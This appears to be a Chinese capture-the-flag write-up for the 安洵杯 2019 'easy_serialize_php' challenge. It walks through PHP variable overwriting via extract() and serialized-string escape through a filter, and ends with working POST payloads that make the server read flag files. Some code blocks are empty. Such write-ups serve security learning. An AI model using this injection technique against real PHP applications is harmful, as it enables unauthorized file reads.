[安洵杯 2019]easy_serialize_php
[安洵杯 2019\]easy_serialize_php - DGhh - 博客园 (cnblogs.com)](https://www.cnblogs.com/dghh/p/18311890) \[[安洵杯 2019\]easy_serialize_php - 何止(h3zh1) - 博客园 (cnblogs.com)](https://www.cnblogs.com/h3zh1/p/12732336.html) 涉及的考点是字符串逃逸 ```php source_code'; } //如果GET请求中没有'img_path'参数 if(!$_GET['img_path']){ //设置默认会话图片路径 $_SESSION['img'] = base64_encode('guest_img.png'); }else{ //将传入的图片路径进行base64编码后在进行shal哈希(再次对其进行一次加密) $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } //将会话信息进行了序列化 $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); } ``` 先来看一下最后的一段代码 ```php //f=highlight_file就显示index.php if($function == 'highlight_file'){ highlight_file('index.php'); //f=phpinfo就显示PHP配置信息 }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! //最后一段就是我们拿到flag的关键吧,f=show_image, }else if($function == 'show_image'){ //反序列化后得到的会话数据 $userinfo = unserialize($serialize_info); //输出base64解码后的图片内容 echo file_get_contents(base64_decode($userinfo['img'])); } ``` 然后我们看看`phpinfo`里面有什么 看到`auto_append_file`函数里面有个` d0g3_f1ag.php`,这肯定是我们要拿到flag的关键  ` d0g3_f1ag.php`base64加密为`ZDBnM19mMWFnLnBocA==` ```php //将会话信息进行了序列化并且过滤 $serialize_info = filter(serialize($_SESSION)); ``` 继续向上看代码,上面的filter应该是对其传入的会话信息进行了一次过滤 然后出现了一个变量覆盖 ```php if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); ``` `unset`对`$_SESSION`进行了销毁 后面又重新定义了`$_SESSION` 但是`extract`函数对变量进行了覆盖 > `extract`函数从数组中将变量导入到当前的符号表。 举个栗子 ```php "; extract($_POST); var_dump($_SESSION); ?> ```  POST一个flag上去就将`_SESSION`里面的值完全覆盖了  直接`_SESSION['img']`是不行的,因为后面还对`_SESSION[img]`又进行了一次加密,这样传到下面的值输出后就不正确了 所以我们需要让`guest_img.png`逃逸,让其不进行shal加密 然后获得了一个新的知识点 > php字符串逃逸 举个栗子 ```php ``` `img`是一个数组,将数组进行序列化后是`"a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}" ` ```php ```  就算在`}`后面添加了`abc`,最后输出也是上面那那串反序列化的东西,说明反序列化是会处理垃圾信息的 反序列化是有一定的范围的,对应的格式不能出错,如果`s:3:'one'`那么`s:3`后面就就必须要有长度为3的字符串,不然就会向后继续要,这就算是逃逸 那我们这样构造一个数组呢 ```php ``` 得到了这样一串 a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 因为要让`guest_img.png`进行逃逸,所以可以将`img`这段放到花括号外面去,所以这样子写呢 ```php ``` a:3:{s:4:"user";s:5:"guest";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 花括号外面的是垃圾数据了 现在我们需要的数据是`";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}` 就是我们可以过滤器过滤掉`php`或者`flag`将我们把不要的东西给去掉 我们不要的是`;s:8:"function";s:42:"a"`这一串东西,一共是24个字符 所以需要6个`flag`进行这个过滤 构造一下 ```php ``` 执行出来是这样 a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} flag被过滤 a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 向后延24位,所以 s:24就相当于 ;s:8:"function";s:42:"a" 我们剩下的是: a:3:{s:4:"user";s:24:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}还剩下了user和img这两个值 去掉垃圾数据 a:3:{s:4:"user";s:24:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 所以 为什么后面还有加一个`s:2:"aa";s:1:"a";`,因为`}`不是被当作垃圾数据处理了嘛,但是这个数组有三个值,所以我们在后面自己构造一个 _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"a";}  在`/d0g3_fllllllag`中 base64后是`L2QwZzNfZmxsbGxsbGFn`还是20位 直接改 _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:1:"a";}  这道题好抽象,想了好久